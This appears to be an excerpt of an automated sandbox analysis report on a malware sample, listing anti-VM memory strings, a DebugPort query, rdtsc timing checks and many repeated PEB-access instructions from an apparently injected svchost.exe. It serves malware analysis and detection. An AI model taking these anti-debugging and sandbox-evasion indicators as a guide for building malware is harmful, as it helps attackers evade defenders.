Source: BzK8rQh2O3.exe, 00000000.00000003.1744833710.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744568591.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745163536.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737280802.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1746579812.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736599685.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737178163.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1735908567.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736723081.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AppVClient.exe, 00000006.00000003.1740442360.000000000052E000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1739746989.0000000000510000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000002.1751871474.0000000000536000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1740108258.0000000000517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachine
Source: BzK8rQh2O3.exe, 00000000.00000003.1716210903.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1730534041.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1722247811.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1717509564.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733011212.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733571311.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1723674985.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1721812637.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1729439667.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734456516.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733872422.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 10_2_02FAD1C0 rdtsc

10_2_02FAD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 10_2_002E7B23 LdrLoadDll,

10_2_002E7B23

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF2F8 mov eax, dword ptr fs:[00000030h]	10_2_02FEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F292FF mov eax, dword ptr fs:[00000030h]	10_2_02F292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED mov eax, dword ptr fs:[00000030h]	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F402E1 mov eax, dword ptr fs:[00000030h]	10_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F402E1 mov eax, dword ptr fs:[00000030h]	10_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F402E1 mov eax, dword ptr fs:[00000030h]	10_2_02F402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B2D3 mov eax, dword ptr fs:[00000030h]	10_2_02F2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B2D3 mov eax, dword ptr fs:[00000030h]	10_2_02F2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B2D3 mov eax, dword ptr fs:[00000030h]	10_2_02F2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5F2D0 mov eax, dword ptr fs:[00000030h]	10_2_02F5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5F2D0 mov eax, dword ptr fs:[00000030h]	10_2_02F5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	10_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	10_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	10_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	10_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]	10_2_02F3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0 mov eax, dword ptr fs:[00000030h]	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F392C5 mov eax, dword ptr fs:[00000030h]	10_2_02F392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F392C5 mov eax, dword ptr fs:[00000030h]	10_2_02F392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005341 mov eax, dword ptr fs:[00000030h]	10_2_03005341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB92BC mov eax, dword ptr fs:[00000030h]	10_2_02FB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB92BC mov eax, dword ptr fs:[00000030h]	10_2_02FB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB92BC mov ecx, dword ptr fs:[00000030h]	10_2_02FB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB92BC mov ecx, dword ptr fs:[00000030h]	10_2_02FB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F402A0 mov eax, dword ptr fs:[00000030h]	10_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F402A0 mov eax, dword ptr fs:[00000030h]	10_2_02F402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F452A0 mov eax, dword ptr fs:[00000030h]	10_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F452A0 mov eax, dword ptr fs:[00000030h]	10_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F452A0 mov eax, dword ptr fs:[00000030h]	10_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F452A0 mov eax, dword ptr fs:[00000030h]	10_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF92A6 mov eax, dword ptr fs:[00000030h]	10_2_02FF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF92A6 mov eax, dword ptr fs:[00000030h]	10_2_02FF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF92A6 mov eax, dword ptr fs:[00000030h]	10_2_02FF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF92A6 mov eax, dword ptr fs:[00000030h]	10_2_02FF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov ecx, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC62A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC72A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC72A0 mov eax, dword ptr fs:[00000030h]	10_2_02FC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6329E mov eax, dword ptr fs:[00000030h]	10_2_02F6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6329E mov eax, dword ptr fs:[00000030h]	10_2_02F6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6E284 mov eax, dword ptr fs:[00000030h]	10_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6E284 mov eax, dword ptr fs:[00000030h]	10_2_02F6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB0283 mov eax, dword ptr fs:[00000030h]	10_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB0283 mov eax, dword ptr fs:[00000030h]	10_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB0283 mov eax, dword ptr fs:[00000030h]	10_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F59274 mov eax, dword ptr fs:[00000030h]	10_2_02F59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F71270 mov eax, dword ptr fs:[00000030h]	10_2_02F71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F71270 mov eax, dword ptr fs:[00000030h]	10_2_02F71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274 mov eax, dword ptr fs:[00000030h]	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F34260 mov eax, dword ptr fs:[00000030h]	10_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F34260 mov eax, dword ptr fs:[00000030h]	10_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F34260 mov eax, dword ptr fs:[00000030h]	10_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFD26B mov eax, dword ptr fs:[00000030h]	10_2_02FFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFD26B mov eax, dword ptr fs:[00000030h]	10_2_02FFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2826B mov eax, dword ptr fs:[00000030h]	10_2_02F2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300539D mov eax, dword ptr fs:[00000030h]	10_2_0300539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A250 mov eax, dword ptr fs:[00000030h]	10_2_02F2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEB256 mov eax, dword ptr fs:[00000030h]	10_2_02FEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEB256 mov eax, dword ptr fs:[00000030h]	10_2_02FEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F36259 mov eax, dword ptr fs:[00000030h]	10_2_02F36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29240 mov eax, dword ptr fs:[00000030h]	10_2_02F29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29240 mov eax, dword ptr fs:[00000030h]	10_2_02F29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6724D mov eax, dword ptr fs:[00000030h]	10_2_02F6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2823B mov eax, dword ptr fs:[00000030h]	10_2_02F2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030053FC mov eax, dword ptr fs:[00000030h]	10_2_030053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F67208 mov eax, dword ptr fs:[00000030h]	10_2_02F67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F67208 mov eax, dword ptr fs:[00000030h]	10_2_02F67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	10_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	10_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	10_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F663FF mov eax, dword ptr fs:[00000030h]	10_2_02F663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF3E6 mov eax, dword ptr fs:[00000030h]	10_2_02FEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F403E9 mov eax, dword ptr fs:[00000030h]	10_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005227 mov eax, dword ptr fs:[00000030h]	10_2_03005227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEB3D0 mov ecx, dword ptr fs:[00000030h]	10_2_02FEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEC3CD mov eax, dword ptr fs:[00000030h]	10_2_02FEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F383C0 mov eax, dword ptr fs:[00000030h]	10_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F383C0 mov eax, dword ptr fs:[00000030h]	10_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F383C0 mov eax, dword ptr fs:[00000030h]	10_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F383C0 mov eax, dword ptr fs:[00000030h]	10_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F533A5 mov eax, dword ptr fs:[00000030h]	10_2_02F533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F633A0 mov eax, dword ptr fs:[00000030h]	10_2_02F633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F633A0 mov eax, dword ptr fs:[00000030h]	10_2_02F633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F8739A mov eax, dword ptr fs:[00000030h]	10_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F8739A mov eax, dword ptr fs:[00000030h]	10_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F28397 mov eax, dword ptr fs:[00000030h]	10_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F28397 mov eax, dword ptr fs:[00000030h]	10_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F28397 mov eax, dword ptr fs:[00000030h]	10_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2E388 mov eax, dword ptr fs:[00000030h]	10_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2E388 mov eax, dword ptr fs:[00000030h]	10_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2E388 mov eax, dword ptr fs:[00000030h]	10_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5438F mov eax, dword ptr fs:[00000030h]	10_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5438F mov eax, dword ptr fs:[00000030h]	10_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FD437C mov eax, dword ptr fs:[00000030h]	10_2_02FD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005283 mov eax, dword ptr fs:[00000030h]	10_2_03005283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F37370 mov eax, dword ptr fs:[00000030h]	10_2_02F37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F37370 mov eax, dword ptr fs:[00000030h]	10_2_02F37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F37370 mov eax, dword ptr fs:[00000030h]	10_2_02F37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF367 mov eax, dword ptr fs:[00000030h]	10_2_02FEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29353 mov eax, dword ptr fs:[00000030h]	10_2_02F29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29353 mov eax, dword ptr fs:[00000030h]	10_2_02F29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov eax, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov eax, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov eax, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov ecx, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov eax, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB035C mov eax, dword ptr fs:[00000030h]	10_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFA352 mov eax, dword ptr fs:[00000030h]	10_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB2349 mov eax, dword ptr fs:[00000030h]	10_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D34C mov eax, dword ptr fs:[00000030h]	10_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D34C mov eax, dword ptr fs:[00000030h]	10_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F27330 mov eax, dword ptr fs:[00000030h]	10_2_02F27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF132D mov eax, dword ptr fs:[00000030h]	10_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF132D mov eax, dword ptr fs:[00000030h]	10_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5F32A mov eax, dword ptr fs:[00000030h]	10_2_02F5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2C310 mov ecx, dword ptr fs:[00000030h]	10_2_02F2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030052E2 mov eax, dword ptr fs:[00000030h]	10_2_030052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F50310 mov ecx, dword ptr fs:[00000030h]	10_2_02F50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB930B mov eax, dword ptr fs:[00000030h]	10_2_02FB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB930B mov eax, dword ptr fs:[00000030h]	10_2_02FB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB930B mov eax, dword ptr fs:[00000030h]	10_2_02FB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A30B mov eax, dword ptr fs:[00000030h]	10_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A30B mov eax, dword ptr fs:[00000030h]	10_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A30B mov eax, dword ptr fs:[00000030h]	10_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2C0F0 mov eax, dword ptr fs:[00000030h]	10_2_02F2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F720F0 mov ecx, dword ptr fs:[00000030h]	10_2_02F720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F550E4 mov eax, dword ptr fs:[00000030h]	10_2_02F550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F550E4 mov ecx, dword ptr fs:[00000030h]	10_2_02F550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A0E3 mov ecx, dword ptr fs:[00000030h]	10_2_02F2A0E3
